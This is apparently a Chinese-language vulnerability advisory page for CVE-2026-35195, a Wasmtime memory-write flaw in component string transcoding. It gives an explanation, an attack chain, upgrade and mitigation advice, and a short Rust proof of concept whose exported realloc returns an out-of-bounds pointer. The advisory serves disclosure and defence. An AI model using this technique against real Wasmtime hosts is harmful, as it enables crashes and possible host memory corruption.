IPBUF安全漏洞报告
English
CVE-2026-35195 CVSS 5.4 中危

CVE-2026-35195 Wasmtime内存写入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35195
漏洞类型
内存损坏
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wasmtime

相关标签

Memory CorruptionWebAssemblyWasmtimeArbitrary WriteDoSCVE-2026-35195

漏洞概述

Wasmtime是一个WebAssembly运行时环境。在24.0.7、36.0.7、42.0.2和43.0.1版本之前,Wasmtime在处理组件间字符串转码时存在缺陷。主机在尝试通过指针写入数据之前,未验证访客组件realloc函数的返回值。这允许恶意访客组件诱使主机在距离线性内存基地址4GiB范围内的任意位置写入任意转码后的字符串字节。默认配置下,这会导致主机访问未映射内存并使进程崩溃(拒绝服务);而在特定配置下,可能导致主机数据结构或其他访客内存的损坏。

技术细节

该漏洞的根源在于Wasmtime处理组件模型(Component Model)中字符串转码逻辑时的验证缺失。当主机需要将转码后的字符串数据写入访客内存时,它会依赖访客组件提供的`canonical_abi_realloc`函数来分配或重新分配内存缓冲区。在受影响的版本中,主机代码直接使用了该函数返回的指针,而未检查该指针是否指向访客线性内存的有效范围。

攻击者可以构建一个恶意的WebAssembly组件,重写`realloc`函数,使其返回一个经过计算的、超出线性内存边界的任意地址(例如基地址加上接近4GiB的偏移量)。当主机调用需要字符串转码的导出函数时,它会尝试将数据写入该恶意指针指向的地址。由于Wasmtime默认为每个访客预留4GiB的虚拟地址空间,这种写入通常会触及未映射的内存区域,导致 segmentation fault 和进程崩溃。然而,如果管理员修改了配置,减少了预留内存或移除了保护页,这种任意写入能力可能会覆盖有效的主机内存或其他实例的数据,从而导致更严重的数据破坏或潜在的代码执行风险。

攻击链分析

STEP 1
1
攻击者创建一个恶意的WebAssembly组件,其中包含重写的`canonical_abi_realloc`函数,该函数设计为返回一个无效或恶意的内存地址。
STEP 2
2
攻击者将此恶意组件部署到运行受影响版本Wasmtime的主机环境中。
STEP 3
3
攻击者调用组件中导出的、涉及字符串转码的函数(例如返回字符串的函数)。
STEP 4
4
Wasmtime主机尝试执行转码并写入数据,调用恶意的`realloc`获取目标地址。
STEP 5
5
主机直接使用返回的恶意指针进行写入操作,导致访问违例或数据损坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-35195 * This Wasm component demonstrates the vulnerability by * returning a malicious pointer from realloc, causing the host * to write to an arbitrary memory location. */ // Override the canonical ABI realloc function #[export_name = "canonical_abi_realloc"] pub extern "C" fn malicious_realloc( _ptr: *mut u8, _old_size: usize, _align: usize, _new_size: usize, ) -> *mut u8 { // Return an arbitrary address outside the valid guest memory range // to trigger an arbitrary write by the host (up to 4GiB away). // Example: pointing to 0xFFFFFFFF (hypothetical target) 0xFFFFFFFF as *mut u8 } // A function that returns a string, forcing the host to perform transcoding // and write into the buffer allocated by the malicious_realloc. #[export_name = "get_string"] pub extern "C" fn get_string() -> *mut u8 { // The host will try to transcode and write this string // to the address returned by malicious_realloc. "Trigger Vulnerability\0".as_ptr() as *mut u8 }

影响范围

Wasmtime < 24.0.7
Wasmtime < 36.0.7
Wasmtime < 42.0.2
Wasmtime < 43.0.1

防御指南

临时缓解措施
如果无法立即升级,建议确保Wasmtime保持默认配置,即为访客线性内存保留完整的4GiB虚拟地址空间并启用保护页。这可以确保漏洞被触发时导致进程崩溃(DoS),而不是更严重的主机内存数据损坏。同时,应严格限制在宿主机上运行WebAssembly代码的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表